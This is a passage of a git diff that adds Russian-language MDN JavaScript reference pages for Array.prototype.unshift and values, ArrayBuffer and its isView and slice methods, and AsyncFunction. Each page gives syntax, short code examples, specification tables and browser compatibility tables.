+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/unshift/index.html b/files/ru/web/javascript/reference/global_objects/array/unshift/index.html
new file mode 100644
index 0000000000..1d3e095ead
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/unshift/index.html
@@ -0,0 +1,89 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/unshift
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>unshift()</strong></code> добавляет один или более элементов в начало массива и возвращает новую длину массива.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.unshift(<var>element1</var>[, ...[, <var>elementN</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>element1, ..., element<em>N</em></code></dt>
+ <dd>Элементы, добавляемые в начало массива.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Новое свойство {{jsxref("Array.length", "length")}} объекта, над которым был вызван метод <code>unshift</code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>unshift</code> вставляет переданные значения в начало массивоподобного объекта.</p>
+
+<p>Метод <code>unshift</code> не является привязанным к типу; этот метод может быть {{jsxref("Function.call", "вызван", "", 1)}} или {{jsxref("Function.apply", "применён", "", 1)}} к объектам, напоминающим массив. Объекты, не содержащие свойство <code>length</code>, отражающее последний элемент в серии последовательных числовых, начинающихся с нуля, свойств, могут повести себя неправильным образом.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // результат вызова равен 3, новой длине массива
+// arr равен [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr равен [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr равен[[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Array.unshift")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/values/index.html b/files/ru/web/javascript/reference/global_objects/array/values/index.html
new file mode 100644
index 0000000000..bdd8c8c2f6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/values/index.html
@@ -0,0 +1,136 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Array/values
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>values()</code></strong> возвращает новый объект итератора массива <strong><code>Array Iterator</code></strong>, содержащий значения для каждого индекса в массиве.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.values()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Iteration_using_for...of_loop" name="Example:_Iteration_using_for...of_loop">Пример: итерация через цикл <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+// ваш браузер должен поддерживать цикл for...of и переменные,
+// объявленные через let в циклах for
+for (let letter of eArr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="Example:_Alternative_iteration" name="Example:_Alternative_iteration">Пример: альтернативный способ итерации</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Firefox-specific_notes" name="Firefox-specific_notes">Примечание по Firefox</h3>
+
+<ul>
+ <li>Из-за <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=875433">проблемы с совместимостью</a> метод <code>Array.prototype.values()</code> в данный момент убран из SpiderMonkey.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
new file mode 100644
index 0000000000..3dfc1687ab
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -0,0 +1,145 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+tags:
+  - Буфер
+  - Типизированные массивы
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>ArrayBuffer</code></strong> используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в <strong><code>ArrayBuffer</code></strong>. </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(length)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>Длина создаваемого буфера в байтах.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект <code>ArrayBuffer</code> определенного размера. Изначально содержимое равно 0.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Конструктор <code>ArrayBuffer</code> создает новый <code>ArrayBuffer</code> установленного в байтах размера.</p>
+
+<h3 id="Создание_буфера">Создание буфера</h3>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Из Base64 строки</a></li>
+ <li><a href="/ru/docs/Web/API/FileReader#readAsArrayBuffer()">Из локального файла</a></li>
+</ul>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd><font face="Open Sans, Arial, sans-serif">Длина конструктора</font><code><font face="Open Sans, Arial, sans-serif"> </font>ArrayBuffer</code>, которая равна 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Позволяет расширить прототип всех <code>ArrayBuffer</code> объектов.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Возвращает <code>true</code> если <code>arg</code> – одно из представлений <code>ArrayBuffer</code>, например <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или {{jsxref("DataView")}}. Вернет <code>false</code> в остальных случаях.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
+ <dd>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Вернет новый <code>ArrayBuffer</code>, контент которого будет взят из данных <code>oldBuffer</code>, а затем усечен или дополнен нулевыми значениями до<font face="Open Sans, Arial, sans-serif"> </font><code>newByteLength</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере мы создаем 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Заменен спецификацией ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первичное определение в ECMA стандарте.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Таблица_совместимости">Таблица совместимости</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Также">Также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Typed_arrays">JavaScript типизированные массивы</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/isview/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/isview/index.html
new file mode 100644
index 0000000000..22971e53cd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/isview/index.html
@@ -0,0 +1,88 @@
+---
+title: ArrayBuffer.isView()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>ArrayBuffer.isView(</strong><var>arg</var><strong>)</strong></code> возвращает <code>true</code>, если <code>arg</code> является одним из таких видов <code>ArrayBuffer</code>, как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированные массивы</a> или {{jsxref("DataView")}}; в ином случае возвращает <code>false</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>ArrayBuffer.isView(<var>arg</var>)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>arg</code></dt>
+ <dd>Проверяемое значение.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>true</code>, если переданный аргумент является одним из видов <code>ArrayBuffer</code>; в противном случае <code>false</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">ArrayBuffer.isView();                    // false
+ArrayBuffer.isView([]);                  // false
+ArrayBuffer.isView({});                  // false
+ArrayBuffer.isView(null);                // false
+ArrayBuffer.isView(undefined);           // false
+ArrayBuffer.isView(new ArrayBuffer(10)); // false
+
+ArrayBuffer.isView(new Uint8Array());    // true
+ArrayBuffer.isView(new Float32Array());  // true
+ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
+
+var buffer = new ArrayBuffer(2);
+var dv = new DataView(buffer);
+ArrayBuffer.isView(dv); // true
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>Устарело</td>
+   <td>Заменено в ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определене в стандарте ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.isView")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">Типизированные массивы JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
new file mode 100644
index 0000000000..84b8592a5e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
@@ -0,0 +1,125 @@
+---
+title: ArrayBuffer.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>slice()</strong></code> вернет новый <code>ArrayBuffer</code>, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">arraybuffer.slice(begin[, end])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>begin</code></dt>
+ <dd>Указывает с какого индекса начинать slice, начинается с нуля.</dd>
+</dl>
+
+<dl>
+ <dt><code>end</code></dt>
+ <dd>Указывает до какого индекса делать slice. Если не указан - slice будет выполнен до конца <code>ArrayBuffer. Разница между begin и end должна быть положительной и быть не более длины ArrayBuffer, в противном случае будет выставлен 0.</code></dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Новый  объект <code>ArrayBuffer</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Метод <code>slice</code> копирует, до индекса в параметре end (не включительно) .  В случае если <code>begin</code> или <code>end</code> негативен, то индекс считается с конца массива.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Копируем_ArrayBuffer">Копируем <code>ArrayBuffer</code></h3>
+
+<pre class="brush: js">var buf1 = new ArrayBuffer(8);
+var buf2 = buf1.slice(0);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by EMCAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("12") }}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("12") }}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
new file mode 100644
index 0000000000..b1475ad6e3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -0,0 +1,166 @@
+---
+title: AsyncFunction
+slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong><font face="Open Sans, arial, sans-serif">Конструктор </font>Async</strong></code><strong><code>Function</code> </strong>создает новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.</p>
+
+<p>Обратите внимание, что AsyncFunction не является глобальным объектом. Её можно получить, выполнив следующий код.</p>
+
+<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделенных запятой; например, "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>". </dd>
+ <dt><code>functionBody</code></dt>
+ <dd>Строка, содержащая в себе определение функции в исходном коде JavaScript .</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor  будут распарсены в момент, когда функция создается. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать ее внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.</p>
+
+<p>Все аргументы, переданные функции, рассматриваются как имена идентификаторов параметров в создаваемой функции в том порядке, в котором они передаются.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> объекты {{jsxref("Statements/async_function", "async functions")}} созданные с помощью AsyncFunction constructor , не создают замыкания на создающие их контексты; Они всегда создаются в глобальной области видимости. При их запуске они смогут получить доступ только к своим локальным переменным и к глобальным переменным, но не имеют доступа к тем областям видимости, в которых был вызван AsyncFunction constructor. Это отличается от использования {{jsxref("Global_Objects/eval", "eval")}} с кодом для async function. </p>
+</div>
+
+<p>Вызов AsyncFunction constructor как функции (без использования оператора new ) имеет тот же эффект, что и вызов его как конструктора.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd>Свойство length AsyncFunction constructor, значение которого равно 1.</dd>
+ <dt>{{jsxref("AsyncFunction.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам async function.</dd>
+</dl>
+
+<h2 id="AsyncFunction_prototype_object"><code>AsyncFunction</code> prototype object</h2>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<div>{{page('/ru-RU/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype', 'Properties')}}</div>
+
+<h2 id="Экземпляры_AsyncFunction"><code>Экземпляры AsyncFunction</code></h2>
+
+<p>Экземпляры <code>AsyncFunction</code> наследуют методы и свойства от {{jsxref("AsyncFunction.prototype")}}. Как и для всех конструкторов, вы можете изменить объект-прототип конструктора, чтобы внести изменения во все экземпляры <code>AsyncFunction</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Создание_async_function_с_помощью_AsyncFunction_constructor">Создание async function с помощью <code>AsyncFunction</code> constructor</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+
+var a = new AsyncFunction('a',
+                          'b',
+                          'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
+
+a(10, 20).then(v =&gt; {
+  console.log(v); // напечатает 30 через 4 секунды
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Изначальное определение в ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th> Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatGeckoDesktop("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/prototype/index.html
new file mode 100644
index 0000000000..9d0c21f241
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/prototype/index.html
@@ -0,0 +1,55 @@
+---
+title: AsyncFunction.prototype
+slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <code><strong>AsyncFunction.prototype</strong></code> представляет прототип объекта  {{jsxref("AsyncFunction")}} .</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объект {{jsxref("AsyncFunction")}} наследуется от <code>AsyncFunction.prototype</code>. <code>AsyncFunction.prototype</code> не может быть модифицирован.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.constructor</strong></code></dt>
+ <dd>Начальное значение {{jsxref("AsyncFunction")}}.</dd>
+ <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt>
